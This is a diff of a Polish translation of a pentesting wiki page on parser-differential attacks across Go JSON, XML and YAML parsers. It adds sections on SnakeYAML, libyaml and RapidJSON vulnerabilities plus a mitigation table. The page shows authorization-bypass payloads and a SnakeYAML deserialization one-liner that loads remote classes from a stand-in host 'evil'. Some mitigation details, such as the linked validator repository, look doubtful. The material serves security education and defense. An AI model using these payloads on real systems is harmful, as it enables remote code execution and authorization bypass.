Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to pl

src/pentesting-web/json-xml-yaml-hacking.md

@@ -53,7 +53,7 @@ IsAdmin bool `json:"-"`
 Celem jest obejście autoryzacji poprzez wykorzystanie sposobu, w jaki różne parsery interpretują ten sam ładunek w różny sposób, jak w przypadku:
 - CVE-2017-12635: obejście Apache CouchDB za pomocą zduplikowanych kluczy
 - 2022: Zoom 0-click RCE poprzez niespójność parsera XML
-- GitLab 2025 obejście SAML poprzez dziwactwa XML
+- GitLab 2025 obejście SAML za pomocą dziwactw XML
 
 
 **1. Zduplikowane pola:**
@@ -64,8 +64,8 @@ fmt.Println(req.Action) // AdminAction
 ```
 Inne parsery (np. Jackson w Javie) mogą brać **pierwszy**.
 
-**2. Niezależność od wielkości liter:**
+**2. Niejednoznaczność wielkości liter:**
-Go jest niezależny od wielkości liter:
+Go jest niejednoznaczne pod względem wielkości liter:
 ```go
 json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
 // matches `Action` field
@@ -99,9 +99,9 @@ Atakujący kontroluje:
 - Nagłówek `Accept: application/json`
 - Częściową kontrolę nad ciałem JSON
 
-Parser XML Go i tak to zanalizował i zaufał wstrzykniętej tożsamości.
+Parser XML w Go analizował to **i tak** i ufał wstrzykniętej tożsamości.
 
-- Opracowany ładunek:
+- Stworzony ładunek:
 ```json
 {
 "action": "Action_1",
@@ -109,20 +109,57 @@ Parser XML Go i tak to zanalizował i zaufał wstrzykniętej tożsamości.
 "ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
 }
 ```
-- **Go JSON** parser: `Action_2` (niezależny od wielkości liter + ostatni wygrywa)
+- **Go JSON** parser: `Action_2` (niezależne od wielkości liter + ostatnie wygrywa)
 - **YAML** parser: `Action_1` (wrażliwy na wielkość liter)
 - **XML** parser: analizuje `"Action_3"` wewnątrz ciągu
 
+---
 
-### 🔐 Mitigacje
+## Znaczące luki w parserach (2023-2025)
 
-| Ryzyko                     | Naprawa                               |
+> Poniższe publicznie wykorzystywane problemy pokazują, że niebezpieczne analizowanie to problem wielojęzyczny — nie tylko problem Go.
-|-----------------------------|---------------------------------------|
-| Nieznane pola              | `decoder.DisallowUnknownFields()`     |
-| Duplikujące się pola (JSON) | ❌ Brak naprawy w stdlib               |
-| Dopasowanie niezależne od wielkości liter | ❌ Brak naprawy w stdlib               |
-| Śmieciowe dane XML         | ❌ Brak naprawy w stdlib               |
-| YAML: nieznane klucze      | `yaml.KnownFields(true)`              |
 
+### SnakeYAML Deserialization RCE (CVE-2022-1471)
+
+* Dotyczy: `org.yaml:snakeyaml` < **2.0** (używane przez Spring-Boot, Jenkins itp.).
+* Przyczyna: `new Constructor()` deserializuje **dowolne klasy Java**, umożliwiając łańcuchy gadżetów, które kończą się wykonaniem zdalnego kodu.
+* One-liner PoC (otworzy kalkulator na podatnym hoście):
+```yaml
+!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
+```
+* Naprawa / Łagodzenie:
+1. **Zaktualizuj do ≥2.0** (domyślnie używa `SafeLoader`).
+2. W starszych wersjach, wyraźnie użyj `new Yaml(new SafeConstructor())`.
+
+### libyaml Double-Free (CVE-2024-35325)
+
+* Dotyczy: `libyaml` ≤0.2.5 (biblioteka C wykorzystywana przez wiele powiązań językowych).
+* Problem: Wywołanie `yaml_event_delete()` dwa razy prowadzi do podwójnego zwolnienia pamięci, które napastnicy mogą wykorzystać do DoS lub, w niektórych scenariuszach, do eksploatacji sterty.
+* Status: Zgłoszenie odrzucone jako „niewłaściwe użycie API”, ale dystrybucje Linuksa dostarczyły poprawioną wersję **0.2.6**, która defensywnie zeruje wskaźnik.
+
+### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
+
+* Dotyczy: Tencent **RapidJSON** przed zatwierdzeniem `8269bc2` (<1.1.0-patch-22).
+* Błąd: W `GenericReader::ParseNumber()` niekontrolowana arytmetyka pozwala napastnikom tworzyć ogromne literały numeryczne, które owijają się i uszkadzają stertę — ostatecznie umożliwiając eskalację uprawnień, gdy powstała graf obiektów jest używana do podejmowania decyzji autoryzacyjnych.
+
+---
+
+### 🔐 Łagodzenia (Zaktualizowane)
+
+| Ryzyko                              | Naprawa / Rekomendacja                                      |
+|-------------------------------------|------------------------------------------------------------|
+| Nieznane pola (JSON)               | `decoder.DisallowUnknownFields()`                          |
+| Duplikujące się pola (JSON)        | ❌ Brak naprawy w stdlib — waliduj za pomocą [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
+| Dopasowanie bez uwzględnienia wielkości liter (Go) | ❌ Brak naprawy — waliduj tagi struktury + wstępnie kanonizuj dane wejściowe   |
+| Śmieciowe dane XML / XXE           | Użyj wzmocnionego parsera (`encoding/xml` + `DisallowDTD`)     |
+| Nieznane klucze YAML                | `yaml.KnownFields(true)`                                   |
+| **Niebezpieczna deserializacja YAML** | Użyj SafeConstructor / zaktualizuj do SnakeYAML ≥2.0            |
+| libyaml ≤0.2.5 podwójne zwolnienie pamięci | Zaktualizuj do **0.2.6** lub wersji poprawionej przez dystrybucję            |
+| RapidJSON <poprawione zatwierdzenie | Kompiluj przeciwko najnowszemu RapidJSON (≥lipiec 2024)              |
+
+## Odnośniki
+
+- Baeldung – “Rozwiązywanie CVE-2022-1471 z SnakeYAML 2.0”
+- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
 
 {{#include ../banners/hacktricks-training.md}}